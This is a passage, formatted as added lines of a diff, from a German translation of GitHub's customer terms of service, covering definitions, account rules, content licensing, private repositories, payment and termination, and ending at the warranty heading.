+**„Wirksamkeitsdatum“** ist das Datum, an dem der Kunde (i) auf „Ich stimme zu“ für die Bedingungen dieser Vereinbarung klickt oder (ii) zum ersten Mal eine Bestellung für die Produkte aufgibt, wobei das frühere Datum maßgeblich ist.
+
+**„Externer Nutzer“** bezeichnet eine Einzelperson, ausgenommen die Nutzer des Kunden, die den Dienst besucht oder nutzt.
+
+**„Feedback“** bezeichnet alle Ideen, Know-how, Algorithmen, Codebeiträge, Vorschläge, Verbesserungswünsche, Empfehlungen oder sonstiges Feedback zu Produkten oder Diensten von GitHub.
+
+**„Gebühren“** bezeichnet die Gebühren, die der Kunde an GitHub zahlen muss, um (i) die Produkte während der jeweiligen Laufzeit zu nutzen oder (ii) Professional Services zu erhalten, wie auf einem Bestellformular oder in einer Leistungsbeschreibung angegeben.
+
+**„Forken“ oder „Abspalten“** bedeutet, den Inhalt eines Repositories in ein anderes Repository zu kopieren.
+
+**„GitHub“** bezeichnet GitHub, Inc., seine verbundenen Unternehmen und seine Vertreter.
+
+**„GitHub Inhalte“** bezeichnet Inhalte, die GitHub erstellt, besitzt oder an denen es die Rechte hält.
+
+**„Maschinenkonto“** bezeichnet ein Konto, das von einem einzelnen Menschen registriert wurde, der die geltenden Nutzungsbedingungen im Namen des Maschinenkontos akzeptiert, eine gültige E-Mail-Adresse angibt und für seine Handlungen verantwortlich ist. Ein Maschinenkonto wird ausschließlich zur Ausführung automatisierter Aufgaben verwendet. Mehrere Nutzer können die Aktionen eines Maschinenkontos steuern, aber letztendlich ist der Inhaber des Kontos für die Aktionen der Maschine verantwortlich.
+
+**„Bestellformular“** bezeichnet die schriftliche oder elektronische Dokumentation (einschließlich eines Angebots), die die Parteien verwenden können, um die Produkte zu bestellen.
+
+**„Organisation“** bezeichnet einen gemeinsam genutzten Arbeitsbereich, der mit einer einzelnen juristischen Person oder mit einem oder mehreren Nutzern verknüpft sein kann, wobei mehrere Nutzer gleichzeitig über viele Projekte hinweg zusammenarbeiten können. Ein Benutzer kann Mitglied mehrerer Organisationen sein.
+
+**„Privates Repository“** bezeichnet ein Repository, das es einem Nutzer ermöglicht, den Zugriff auf Inhalte zu kontrollieren.
+
+**„Professional Services“** bezeichnet Schulungs-, Beratungs- oder Implementierungsdienste, die GitHub dem Kunden gemäß einer gemeinsam unterzeichneten Leistungsbeschreibung bereitstellt. In Professional Services ist kein Support enthalten.
+
+**„Professional Services-Guthaben“** bezeichnet die Vorauszahlungsmethode für den Kauf von Professional Services (ohne Reise- und Übernachtungskosten), die der Kunde über einen Zeitraum von zwölf (12) Monaten (sofern in einem Bestellformular nicht anders angegeben) für Professional Services nutzen kann. Alle Professional Services-Guthaben, die am Ende von zwölf (12) Monaten ab dem Kaufdatum (oder wie anderweitig in einem Bestellformular angegeben) ungenutzt bleiben, werden automatisch storniert und sind nicht erstattungsfähig.
+
+**„Öffentliches Repository“** bezeichnet ein Repository, dessen Inhalt für alle Nutzer sichtbar ist.
+
+**„Vertreter“** bezeichnet die Mitarbeiter, leitenden Angestellten, Vertreter, unabhängigen Auftragnehmer, Berater sowie Rechts- und Finanzberater einer Partei.
+
+**„Scraping“** bezeichnet das Extrahieren von Daten aus dem Dienst über einen automatisierten Prozess, wie z. B. einen Bot oder Webcrawler, und umfasst nicht das Sammeln von Informationen über die API von GitHub.
+
+**„Dienst“** bezeichnet den gehosteten Dienst von GitHub und jegliche anwendbare Dokumentation.
+
+**„Leistungsbeschreibung“ oder „SOW“** bezeichnet eine gemeinsam unterzeichnete Leistungsbeschreibung, in der die von GitHub zu erbringenden Professional Services alle damit verbundenen Gebühren und die damit verbundenen Verpflichtungen jeder Partei aufgeführt sind.
+
+**„Abonnementlizenz“** bezeichnet die jedem Nutzer zugewiesene Lizenz zum Installieren, Betreiben, Zugreifen und Verwenden des Dienstes im Namen des Kunden. Der Kunde darf in all seinen Organisationen nur eine Abonnementlizenz pro Nutzer zuweisen. Zur Klarstellung: Sobald der Kunde einem Nutzer eine Abonnementlizenz zuweist, ist es dem Kunden untersagt, die Abonnementlizenz aufzuteilen, sodass ein Nutzer eine Abonnementlizenz für eine Organisation verwenden kann, während ein anderer Nutzer dieselbe Abonnementlizenz für eine andere Organisation verwendet.
+
+**„Support“** bezeichnet technischen Support für den Dienst, den GitHub unter Umständen bereitstellt.
+
+**„Nutzer“** bezeichnet ein einzelnes oder Maschinenkonto, das (a) auf den Dienst zugreift oder ihn nutzt, (b) auf einen Teil des Kundenkontos zugreift oder es nutzt; oder (c) die Nutzung des Kundenkontos bei der Ausführung von Funktionen anweist, jeweils im Namen des Kunden. Die Anzahl der Nutzer sollte die Anzahl der Abonnementlizenzen, die der Kunde erworben hat, nicht überschreiten.
+
+**„Nutzergenerierte Inhalte“** bezeichnet Inhalte, die von einem Dritten oder Externen Nutzer erstellt wurden oder dessen Eigentum sind.
+
+## B. Kontobedingungen
+
+### 1. Kontosteuerungen.
+  * _Benutzer._ Der Kunde erkennt an, dass die Nutzer die endgültige administrative Kontrolle über ihre individuellen Konten und die darin enthaltenen Inhalte behalten. [Die Standard-Nutzungsbedingungen von GitHub](/articles/github-terms-of-service) regeln die Nutzung des Dienstes durch die Nutzer, außer in Bezug auf die Aktivitäten der Nutzer gemäß diesem Abschnitt B.
+
+  * _Organisationen._ Der Kunde behält die endgültige administrative Kontrolle über alle im Namen des Kunden erstellten Organisationen und Nutzergenerierten Inhalte, die in den Repositories innerhalb seiner Organisation(en) veröffentlicht werden, vorbehaltlich dieses Abschnitts B. Dieser Abschnitt B regelt die Nutzung der Organisation(en) des Kunden.
+
+### 2. Kontovoraussetzungen
+Um ein Konto zu erstellen, muss der Kunde Folgendes beachten:
+
+* Der Kunde darf kein Konto zur Nutzung durch Personen unter 13 Jahren erstellen. Wenn GitHub von einem Nutzer unter 13 Jahren erfährt, wird es das Konto dieses Nutzers unverzüglich kündigen. Wenn sich der Kunde oder seine Nutzer in einem Land außerhalb der Vereinigten Staaten befinden, kann das Mindestalter dieses Landes höher sein; in einem solchen Fall ist der Kunde für die Einhaltung der Gesetze dieses Landes verantwortlich.
+
+*   Die Anmeldedaten eines Nutzers dürfen nicht von mehreren Personen gemeinsam genutzt werden.
+
+- Der Kunde darf die Produkte in folgenden Fällen nicht verwenden: (a) unter Verstoß gegen Exportkontroll- oder Sanktionsgesetze der Vereinigten Staaten oder einer anderen anwendbaren Rechtsordnung; (b) wenn er sich in einem Land oder Gebiet befindet oder seinen gewöhnlichen Aufenthalt in einem Land oder Gebiet hat, das umfassenden Sanktionen unterliegt, die vom US Office of Foreign Assets Control (OFAC) verhängt werden; oder (c) wenn er im Auftrag eines [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) oder einer Person arbeitet, die ähnlichen Sperr- oder Denied-Party-Verboten unterliegt. Weitere Informationen finden Sie in unserer [Exportkontrollrichtlinie](/articles/github-and-export-controls).
+
+### 3. Kontosicherheit
+Der Kunde trägt die Verantwortung für: (i) alle veröffentlichten Inhalte und Aktivitäten, die unter seinem Unternehmenskonto stattfinden; (ii) die Aufrechterhaltung der Sicherheit seiner Kontoanmeldeinformationen; und (iii) die [unverzügliche Benachrichtigung von GitHub](https://github.com/contact), wenn er Kenntnis von einer unbefugten Nutzung oder einem unbefugten Zugriff auf den Dienst über sein Konto erlangt.  GitHub haftet nicht für Verluste oder Schäden, die durch die Nichteinhaltung dieses Abschnitts B durch den Kunden entstehen.
+
+### 4. Bedingungen Dritter
+In einigen Situationen können die Bedingungen Dritter für die Nutzung von GitHub durch den Kunden gelten. Beispielsweise kann der Kunde Mitglied einer Organisation mit eigenen Bedingungen oder Lizenzvereinbarungen sein, der Kunde kann eine Anwendung herunterladen, die sich in den Dienst integriert, oder der Kunde kann den Dienst verwenden, um sich bei einem anderen Dienst zu authentifizieren. Während diese Vereinbarung die vollständige Vereinbarung von GitHub mit dem Kunden darstellt, regeln die Bedingungen anderer Parteien ihre Beziehungen mit dem Kunden.
+
+### 5. Bedingungen der US-Bundesregierung
+Wenn der Kunde eine US-Regierungsbehörde ist oder auf andere Weise in einer Regierungsfunktion auf den Dienst zugreift oder diesen nutzt, gilt die [Zusatzvereinbarung für die US-Bundesregierung](/articles/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users), und der Kunde stimmt ihren Bestimmungen zu.
+
+### 6. Enterprise Cloud-Vereinbarung zum Servicelevel
+Die vierteljährliche Verfügbarkeitszusage von GitHub für GitHub Enterprise Cloud finden Sie in der [Enterprise-Vereinbarung zum Servicelevel](/github/site-policy/github-enterprise-service-level-agreement). Wenn sich der Kunde für GitHub Enterprise Cloud angemeldet hat, hat der Kunde Anspruch auf eine Dienstgutschrift, wenn GitHub sein Servicelevel nicht erfüllt.
+
+## C. Einhaltung von Gesetzen; Akzeptable Nutzung; Datenschutz
+
+### 1. Einhaltung von Gesetzen und Vorschriften
+Die Nutzung der Produkte durch den Kunden darf nicht gegen geltende Gesetze verstoßen, einschließlich Urheber- oder Markengesetze, Exportkontrollgesetze oder Vorschriften in seiner Rechtsordnung.
+
+### 2. Akzeptable Nutzung
+Die Nutzung des Dienstes durch den Kunden muss den [Richtlinien zur akzeptablen Nutzung von GitHub](/articles/github-acceptable-use-policies) sowie den [Community-Richtlinien von GitHub](/articles/github-community-guidelines) entsprechen. Der Kunde darf den Dienst in keiner Rechtsordnung für rechtswidrige, obszöne, anstößige oder betrügerische Inhalte oder Aktivitäten nutzen, beispielsweise um Schäden zu befürworten oder zu verursachen, die Integrität oder Sicherheit eines Netzwerks oder Systems zu stören oder zu verletzen, Filter zu umgehen, unerwünschte, missbräuchliche oder irreführende Nachrichten, Viren oder schädlichen Code zu senden oder die Rechte Dritter zu verletzen.
+
+### 3. Datenschutz
+Die [GitHub Datenschutzerklärung](/articles/github-privacy-statement) und die [GitHub Datenschutzvereinbarung](/github/site-policy/github-data-protection-agreement-non-enterprise-customers) enthalten ausführliche Hinweise zu den Datenschutz- und Datennutzungspraktiken von GitHub sowie zu den Verarbeitungs- und Sicherheitsverpflichtungen von GitHub in Bezug auf personenbezogene Kundendaten. Jede natürliche oder juristische Person oder jeder Dienst, die bzw. der Daten aus dem Dienst sammelt, muss die GitHub Datenschutzerklärung einhalten, insbesondere in Bezug auf die Erhebung Personenbezogener Daten von Nutzern (wie in der GitHub Datenschutzerklärung definiert). Wenn der Kunde personenbezogene Daten aus GitHub erfasst, verwendet der Kunde diese nur für den Zweck, für den der externe Benutzer sie freigegeben hat. Der Kunde sichert solche Personenbezogenen Daten angemessen und reagiert unverzüglich auf Beschwerden, Entfernungsanfragen und „Nicht-Kontaktieren“-Anfragen von GitHub oder Externen Nutzern.
+
+## D. Inhaltliche Verantwortung; Eigentum; Lizenzrechte
+
+### 1. Verantwortung für Nutzergenerierte Inhalte
+Der Kunde kann Nutzergenerierte Inhalte erstellen oder hochladen, während er den Dienst nutzt. Der Kunde trägt die alleinige Verantwortung für alle Nutzergenerierten Inhalte, die er postet, hochlädt, verlinkt oder anderweitig über den Dienst verfügbar macht, unabhängig von der Form dieser Nutzergenerierten Inhalte. GitHub ist nicht verantwortlich für die öffentliche Anzeige oder den Missbrauch von Nutzergenerierten Inhalten.
+
+### 2. Eigentum an Inhalten, Recht zur Veröffentlichung und Lizenzgewährung
+Der Kunde behält das Eigentum an Kundeninhalten, die der Kunde erstellt oder besitzt. Der Kunde erkennt an, dass er: (a) für Kundeninhalte verantwortlich ist, (b) nur Kundeninhalte übermittelt, zu deren Veröffentlichung der Kunde berechtigt ist (einschließlich Inhalten von Drittanbietern oder Nutzergenerierten Inhalten), und (c) alle diesbezüglichen Lizenzen von Drittanbietern in Bezug auf Kundeninhalte, die der Kunde postet, uneingeschränkt einhält.
+Der Kunde gewährt die in den Abschnitten D.3 bis D.6 dargelegten Rechte kostenlos und für die in diesen Abschnitten angegebenen Zwecke, bis der Kunde Kundeninhalte von GitHub Servern entfernt, mit Ausnahme von Inhalten, die der Kunde öffentlich gepostet hat und die Externe Nutzer Geforkt haben, wobei die Lizenz in diesem Fall unbefristet ist, bis alle Forks von Kundeninhalten von den GitHub Servern entfernt wurden. Wenn der Kunde Kundeninhalte hochlädt, die bereits mit einer Lizenz bereitgestellt werden, die GitHub die erforderlichen Berechtigungen zum Ausführen des Dienstes erteilt, ist keine zusätzliche Lizenz erforderlich.
+
+### 3. Lizenzgewährung an uns
+Der Kunde gewährt GitHub das Recht, Kundeninhalte zu speichern, zu archivieren, zu analysieren und anzuzeigen sowie gelegentliche Kopien anzufertigen, sofern dies zur Bereitstellung des Dienstes erforderlich ist, einschließlich der Verbesserung des Dienstes im Laufe der Zeit. Diese Lizenz beinhaltet das Recht, Kundeninhalte in die Datenbank von GitHub zu kopieren und Sicherungskopien zu erstellen, Kundeninhalte für den Kunden und diejenigen anzuzeigen, denen der Kunde sie zeigt, Kundeninhalte in einen Suchindex zu zerlegen oder anderweitig auf den Servern von GitHub zu analysieren, Kundeninhalte mit Externen Nutzern zu teilen, mit denen der Kunde sie teilen möchte, und Kundeninhalte auszuführen, falls es sich beispielsweise um Musik oder Videos handelt. Diese Rechte gelten sowohl für öffentliche als auch für Private Repositories. Diese Lizenz gewährt GitHub nicht das Recht, Kundeninhalte zu verkaufen. Sie gewährt GitHub auch nicht das Recht, Kundeninhalte außerhalb unserer Bereitstellung des Dienstes anderweitig zu verteilen oder zu verwenden, mit der Ausnahme, dass GitHub im Rahmen des Rechts zur Archivierung von Kundeninhalten unseren Partnern gestatten kann, Kundeninhalte in Verbindung mit dem GitHub Arctic Code Vault und dem GitHub Archive Program in öffentlichen Repositories zu speichern und zu archivieren. Der Kunde gewährt GitHub die Rechte, die er benötigt, um Kundeninhalte ohne Namensnennung zu verwenden und angemessene Anpassungen an den Kundeninhalten vorzunehmen, soweit dies für die Bereitstellung des Dienstes erforderlich ist.
+
+### 4. Lizenzgewährung an Externe Nutzer
+Alle Inhalte, die der Kunde öffentlich postet, einschließlich Problemen, Kommentaren und Beiträgen zu den Repositories Externer Nutzer, können von anderen eingesehen werden. Indem der Kunde festlegt, dass seine Repositories öffentlich einsehbar sind, willigt er ein, dass Externe Nutzer die Repositories des Kunden einsehen und Forken können.
+Wenn der Kunde seine Seiten und Repositories öffentlich einsehbar einstellt, gewährt der Kunde Externen Nutzern eine nicht ausschließliche, weltweite Lizenz zur Nutzung, Anzeige und Ausführung von Kundeninhalten über den Dienst und zur Vervielfältigung von Kundeninhalten ausschließlich in dem Dienst, wie dies durch die von GitHub bereitgestellten Funktionen zulässig ist (z. B. durch Forking). Der Kunde kann weitere Rechte an Kundeninhalten gewähren, wenn der Kunde eine Lizenz annimmt. Wenn der Kunde Kundeninhalte hochlädt, die er nicht erstellt hat oder die er nicht besitzt, ist der Kunde dafür verantwortlich, sicherzustellen, dass die von ihm hochgeladenen Kundeninhalte unter Bedingungen lizenziert sind, die diese Berechtigungen für Externe Nutzer gewähren.
+
+### 5. Beiträge unter Repository-Lizenz
+Immer wenn der Kunde Inhalte zu einem Repository hinzufügt, die einen Lizenzhinweis enthalten, lizenziert er diese Inhalte unter denselben Bedingungen und stimmt zu, dass er das Recht hat, diese Inhalte unter diesen Bedingungen zu lizenzieren. Wenn der Kunde eine separate Vereinbarung zur Lizenzierung dieser Inhalte unter anderen Bedingungen hat, wie z. B. eine Lizenzvereinbarung für Beitragende, hat diese Vereinbarung Vorrang.
+
+### 6. Urheberpersönlichkeitsrechte
+Der Kunde behält alle Urheberpersönlichkeitsrechte an Kundeninhalten, die er in irgendeinem Teil des Dienstes hochlädt, veröffentlicht oder dorthin übermittelt, einschließlich der Rechte auf Integrität und Namensnennung. Der Kunde verzichtet jedoch auf diese Rechte und erklärt sich damit einverstanden, sie nicht gegenüber GitHub geltend zu machen, nur um GitHub zu ermöglichen, die in Abschnitt D gewährten Rechte angemessen auszuüben, aber nicht anderweitig.
+
+## E. Private Repositories
+
+### 1. Kontrollieren
+Der Kunde ist für die Verwaltung des Zugriffs auf seine Privaten Repositories verantwortlich, einschließlich Einladungen, administrativer Kontrolle von Organisationen und Teams und des Zugriffs.
+
+### 2. Vertraulichkeit
+GitHub betrachtet Kundeninhalte in den Privaten Repositories des Kunden als Vertrauliche Informationen des Kunden. GitHub wird die Kundeninhalte aus Privaten Repositories gemäß Abschnitt P schützen und streng vertraulich behandeln.
+
+### 3. Zugriff
+GitHub Mitarbeiter dürfen nur in den in unserer [Datenschutzerklärung](/github/site-policy/github-privacy-statement#repository-contents) beschriebenen Situationen auf Private Repositories des Kunden zugreifen. 
+
+Der Kunde kann entscheiden, zusätzlichen Zugriff auf seine Privaten Repositories zu ermöglichen. Beispielsweise kann der Kunde verschiedene GitHub Dienste oder Funktionen aktivieren, die zusätzliche Rechte an Kundeninhalten in Privaten Repositories erfordern. Diese Rechte können je nach Dienst oder Funktion variieren, aber GitHub wird Kundeninhalte in Privaten Repositories des Kunden weiterhin als Vertrauliche Informationen des Kunden behandeln. Wenn diese Dienste oder Funktionen zusätzlich zu den für die Bereitstellung des Dienstes nötigen Rechten weitere Rechte erfordern, wird GitHub eine Erläuterung dieser Rechte bereitstellen.
+
+Darüber hinaus können wir [gesetzlich dazu verpflichtet sein](/github/site-policy/github-privacy-statement#for-legal-disclosure), den Inhalt Ihrer privaten Repositories offenzulegen. 
+
+GitHub informiert über unseren Zugriff auf private Repository-Inhalte, es sei denn es geht um [rechtliche Offenlegung](/github/site-policy/github-privacy-statement#for-legal-disclosure), um unseren gesetzlichen Verpflichtungen nachzukommen, oder wenn anderweitig gesetzlich vorgeschrieben, für automatisiertes Scannen oder als Reaktion auf eine Sicherheitsbedrohung oder ein anderes Sicherheitsrisiko.
+
+## F. Hinweis zu Rechten an geistigem Eigentum
+
+### 1. Rechte von GitHub an Inhalten
+Das Erscheinungsbild des Dienstes ist urheberrechtlich geschützt: © GitHub, Inc. Alle Rechte vorbehalten. Der Kunde darf ohne ausdrückliche schriftliche Genehmigung von GitHub keinen Teil der HTML/CSS-, Javascript- oder visuellen Designelemente oder -konzepte duplizieren, kopieren oder wiederverwenden.
+
+### 2. Marken und Logos von GitHub
+Wenn der Kunde die Marken von GitHub verwenden möchte, muss der Kunde alle Markenrichtlinien von GitHub befolgen, einschließlich der Richtlinien auf der [Logos-Seite](https://github.com/logos) von GitHub.
+
+### 3. Lizenz für GitHub Richtlinien
+Diese Vereinbarung ist unter der [Creative Commons Zero-Lizenz](https://creativecommons.org/publicdomain/zero/1.0/) lizenziert. Einzelheiten finden Sie in unserem [Site-Policy Repository](https://github.com/github/site-policy#license).
+
+### 4. Urheberrechtsverletzung und DMCA-Richtlinie
+Wenn der Kunde ein Urheberrechtsinhaber ist und glaubt, dass Inhalte im Dienst das Urheberrecht des Kunden verletzen, kann der Kunde GitHub gemäß den Vorgaben der [Richtlinie zum Digital Millennium Copyright Act](/articles/dmca-takedown-policy/) über das [DMCA-Formular](https://github.com/contact/dmca) oder per E-Mail copyright@github.com benachrichtigen.
+
+### 5. Rechte an geistigem Eigentum vorbehalten
+Zwischen den Parteien besitzt GitHub alle Rechte, Ansprüche und Interessen, einschließlich aller Rechte an geistigem Eigentum, an den Produkten. GitHub behält sich alle Rechte an den Produkten vor, die dem Kunden im Rahmen dieser Vereinbarung nicht ausdrücklich gewährt werden.
+
+## G. Zusätzliche Produktbestimmungen von GitHub
+Einige Funktionen des Dienstes können zusätzlichen Bestimmungen unterliegen, wie in den [Zusätzlichen Produktbestimmungen von GitHub](/github/site-policy/github-additional-product-terms) dargelegt. Durch den Zugriff auf oder die Nutzung dieser Funktionen stimmt der Kunde den Zusätzlichen Produktbestimmungen von GitHub zu.
+
+## H. Übertragung von Abonnementlizenzen,
+Abonnementlizenzen werden pro Nutzer gewährt, und mehrere Nutzer dürfen nicht dieselbe Abonnementlizenz verwenden. Der Kunde darf eine Abonnementlizenz einem neuen Nutzer erst nach neunzig (90) Tagen nach der letzten Neuzuweisung derselben Abonnementlizenz neu zuweisen, es sei denn, die Neuzuweisung ist auf (i) dauerhaften Hardwareausfall oder -verlust, (ii) Beendigung des Arbeitsverhältnisses des Nutzers oder eines Vertrag, oder (iii) die vorübergehende Neuzuweisung von Abonnementlizenzen zurückzuführen, um die Abwesenheit eines Nutzers abzudecken. Wenn der Kunde eine Abonnementlizenz einem anderen Nutzer zuweist, muss der Kunde den Zugriff des früheren Nutzers auf die Abonnementlizenz und die Organisationen des Kunden sperren.
+
+## I. Verbundene Unternehmen
+Die Verbundenen Unternehmen des Kunden sind berechtigt, die Produkte in Übereinstimmung mit dieser Vereinbarung zu verwenden, solange der Kunde für ihren Zugriff und ihre Nutzung der Produkte voll verantwortlich bleibt.
+
+## J. Zahlung
+
+### 1. Preisgestaltung; Gebühren
+
+**Zahlungsbedingungen** Unsere Preise finden Sie unter [github.com/pricing](https://github.com/pricing) (sofern nicht anders von den Parteien ausgehandelt und in einem Bestellformular angegeben). Der Kunde erklärt sich damit einverstanden, die Gebühren vollständig und im Voraus ohne Abzug oder Verrechnung jeglicher Art in US-Dollar zu zahlen. Der Kunde muss die Gebühren innerhalb von dreißig (30) Tagen nach dem GitHub Rechnungsdatum bezahlen. Gemäß dieser Vereinbarung zu zahlende Beträge sind nicht erstattungsfähig, sofern in dieser Vereinbarung nichts anderes bestimmt ist. Wenn der Kunde Gebühren nicht rechtzeitig zahlt, behält sich GitHub das Recht vor, zusätzlich zu anderen rechtlichen oder billigkeitsrechtlichen Maßnahmen (i) Zinsen auf überfällige Beträge in Höhe von 1,0 % pro Monat oder dem höchsten gesetzlich zulässigen Zinssatz zu berechnen, je nachdem, welcher Wert niedriger ist, und alle Kosten für die Beitreibung in Rechnung zu stellen sowie (ii) das entsprechende Bestellformular oder die jeweilige Leistungsbeschreibung zu kündigen. Der Kunde ist allein verantwortlich für alle Steuern, Gebühren, Zölle und behördlichen Veranlagungen (mit Ausnahme von Steuern, die auf dem Nettoeinkommen von GitHub basieren), die im Zusammenhang mit dieser Vereinbarung erhoben werden oder fällig werden.
+
+**Nutzungsbasierte Abrechnung** Einige Dienstfunktionen werden basierend auf Ihrer Nutzung abgerechnet. Eine begrenzte Anzahl dieser Dienstfunktionen kann für eine begrenzte Laufzeit ohne zusätzliche Kosten in Ihrem Plan enthalten sein. Wenn Sie kostenpflichtige Dienstfunktionen erwerben, die über die in Ihrem Plan enthaltene Menge hinausgehen, zahlen Sie für diese Dienstfunktionen basierend auf Ihrer tatsächlichen Nutzung im vorangegangenen Monat. Die monatliche Zahlung für diese Käufe wird regelmäßig nachträglich in Rechnung gestellt, vorausgesetzt, dass für Kunden mit Rechnung bezahlte Dienstfunktionen im Voraus in Rechnung gestellt werden. Nähere Informationen finden Sie in den [Zusätzlichen Produktbestimmungen von GitHub](/github/site-policy/github-additional-product-terms).
+
+### 2. Erwerb zusätzlicher Abonnementlizenzen
+Der Kunde kann zusätzliche Abonnementlizenzen im Rahmen dieser Vereinbarung erhalten, indem er über den Dienst oder über sein Vertriebsteam eine Anfrage stellt. Wenn der Kunde die zusätzlichen Abonnementlizenzen erwirbt, muss der Kunde die dann aktuell geltenden Gebühren dafür bezahlen, anteilig für den Restbetrag der anwendbaren Abonnementlaufzeit. Bei Verlängerung der Abonnementlizenzen des Kunden für eine weitere Abonnementlaufzeit stellt GitHub alle Abonnementlizenzen auf einmal jährlich in Rechnung, sofern in einem Bestellformular nichts anderes angegeben ist.
+
+### 3. Professional Services-Guthaben.
+Wenn der Kunde Professional Services-Guthaben verwendet, um für Professional Services zu bezahlen, wird das entsprechende Professional Services-Guthaben nach Erhalt einer Leistungsbeschreibung vom vorhandenen Professional Services-Guthaben des Kunden abgezogen. Der Kunde ist dafür verantwortlich sicherzustellen, dass seine an GitHub ausgestellte Bestellung für die Professional Services den in der Leistungsbeschreibung festgelegten Preisen entspricht. Wenn es einen Unterschied zwischen den in der Leistungsbeschreibung aufgeführten Preisen und den in der Bestellung des Kunden aufgeführten Preisen gibt, gelten die Preise in der Leistungsbeschreibung. Die Parteien vereinbaren, dass Leistungsbeschreibungen, die über Professional Services-Guthaben zu zahlen sind, nicht von einer der Parteien unterzeichnet werden müssen, um gültig und durchsetzbar zu sein. Alle Professional Services-Guthaben müssen innerhalb der im Bestellformular angegebenen Zeit verwendet werden oder werden automatisch storniert und sind nicht erstattungsfähig. Der Kunde darf Professional Services-Guthaben nicht für Reise- und Übernachtungskosten verwenden, die separat in Rechnung gestellt werden müssen.
+
+### 4. Autorisierung
+Der Kunde autorisiert GitHub, die hinterlegte Kreditkarte, das PayPal-Konto oder andere genehmigte Zahlungsmethoden mit Gebühren zu belasten.
+
+## K. Laufzeit, Kündigung; Aussetzung
+
+### 1. Laufzeit
+Diese Vereinbarung beginnt am Wirksamkeitsdatum und bleibt in Kraft, bis sie von einer Partei gemäß diesem Abschnitt K gekündigt wird.
+
+### 2. Kündigung nach Belieben; Kontoauflösung
+Ein Bestellformular (sofern relevant) oder diese Vereinbarung kann von beiden Parteien ohne triftigen Grund durch schriftliche Benachrichtigung unter Wahrung einer Frist von mindestens dreißig (30) Tagen gekündigt werden. Wenn der Kunde ein Bestellformular oder eine Vereinbarung kündigt, liegt es in der Verantwortung des Kunden, sein Konto bei GitHub ordnungsgemäß aufzulösen, indem er in der globalen Navigationsleiste oben auf dem Bildschirm die Einstellungen aufruft. GitHub kann Konten nicht als Antwort auf eine E-Mail- oder Telefonanfrage auflösen.
+
+### 3. Kündigung aufgrund wesentlicher Verletzung
+Jede Partei kann diese Vereinbarung mit sofortiger Wirkung kündigen, wenn die andere Partei gegen eine wesentliche Verpflichtung aus dieser Vereinbarung verstößt und die Verletzung nicht innerhalb von dreißig (30) Tagen nach Erhalt der Benachrichtigung behebt.  GitHub kann diese Vereinbarung kündigen, wenn das Konto des Kunden für mehr als 90 Tage ausgesetzt wurde.
+
+### 4. Wirkung von Kündigung
+- _Bestellformulare._ Nach Kündigung dieser Vereinbarung darf der Kunde keine zusätzlichen Bestellformulare (sofern relevant) ausfertigen; diese Vereinbarung bleibt jedoch für den Rest aller aktiven Bestellformulare in Kraft. Wenn ein Bestellformular endet oder abläuft, gilt für dieses Bestellformular Folgendes: (i) die Laufzeit endet sofort; (ii) alle Abonnementlizenzen im Bestellformular enden automatisch, und der Kunde hat nicht mehr das Recht, den Dienst zu nutzen; (iii) wenn Gebühren vor der Kündigung geschuldet waren, muss der Kunde diese Gebühren unverzüglich zahlen; (iv) jede Partei wird alle Vertraulichen Informationen, die der anderen gehören, unverzüglich zurückgeben (oder, wenn die andere Partei dies verlangt, vernichten), soweit dies durch den Dienst gestattet ist. Ungeachtet des Vorstehenden wird GitHub angemessene Anstrengungen unternehmen, um dem Kunden auf Anfrage eine Kopie seiner rechtmäßigen, nicht verletzenden Kontoinhalte zur Verfügung zu stellen; vorausgesetzt, dass der Kunde diese Anfrage innerhalb von 90 Tagen nach Kündigung, Aussetzung oder Herabstufung stellt.
+
+- GitHub wird die Informationen des Kunden nach Bedarf aufbewahren und verwenden, um unseren gesetzlichen Verpflichtungen nachzukommen, Streitigkeiten beizulegen und die Vereinbarungen von GitHub durchzusetzen, aber vorbehaltlich gesetzlicher Anforderungen wird GitHub das vollständige Profil des Kunden und den Inhalt seiner Repositories innerhalb von 90 Tagen nach Kündigung oder Ablauf löschen (wobei jedoch einige Informationen in verschlüsselten Backups verbleiben können). Diese Informationen können nicht wiederhergestellt werden, nachdem das Konto des Kunden aufgelöst wurde.
+
+- GitHub löscht keine Inhalte, die der Kunde zu den Repositories Externer Nutzer beigetragen hat oder die Externe Nutzer geforkt haben.
+
+### 5. Aussetzung
+GitHub hat das Recht, den Zugriff auf den gesamten oder einen Teil des Dienstes, einschließlich des Entfernens von Inhalten, jederzeit wegen Verstoßes gegen diese Vereinbarung oder zum Schutz der Integrität, Funktionsfähigkeit und Sicherheit des Dienstes mit sofortiger Wirkung, mit oder ohne Vorankündigung auszusetzen. Sofern nicht gesetzlich oder gerichtlich verboten oder um unmittelbaren Schaden für den Dienst oder Dritte zu verhindern, stellt GitHub bei oder vor einer solchen Aussetzung normalerweise eine Benachrichtigung in Form eines Banners oder einer E-Mail bereit. GitHub wird nach eigenem Ermessen und in gutem Glauben jede Aussetzung nach Bedarf anpassen, um die Integrität, Funktionsfähigkeit und Sicherheit des Dienstes zu wahren.
+
+### 6. Fortgeltung
+Alle Bestimmungen dieser Vereinbarung, die ihrer Natur nach die Beendigung überdauern sollten, bleiben auch nach der Beendigung bestehen, einschließlich, aber nicht beschränkt auf Eigentumsbestimmungen, Gewährleistungsausschlüsse, Entschädigung und Haftungsbeschränkungen.
+
+## L. Kommunikation mit GitHub
+
+### 1. Elektronische Kommunikation erforderlich
+Für Vertragszwecke (1) willigt der Kunde ein, Mitteilungen in elektronischer Form über die von ihm angegebene E-Mail-Adresse oder über den Dienst zu erhalten; und (2) stimmt zu, dass alle Nutzungsbedingungen, Vereinbarungen, Mitteilungen, Offenlegungen und andere Mitteilungen, die GitHub elektronisch bereitstellt, alle gesetzlichen Anforderungen erfüllen, die diese Mitteilungen erfüllen würden, wenn sie auf Papier wären. Dieser Abschnitt berührt nicht die unverzichtbaren Rechte des Kunden.
+
+### 2. Rechtliche Hinweise an GitHub müssen schriftlich erfolgen
+Mitteilungen, die per E-Mail oder über das Nachrichtensystem des GitHub Supports erfolgen, stellen keine rechtliche Mitteilung an GitHub dar, wenn eine Mitteilung an GitHub vertraglich oder durch Gesetze oder Vorschriften erforderlich ist. Rechtliche Hinweise an GitHub bedürfen der Schriftform und müssen dem [gesetzlichen Vertreter von GitHub zugestellt werden](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests).
+
+## m. Beschränkte Garantie; Gewährleistungsausschluss
+
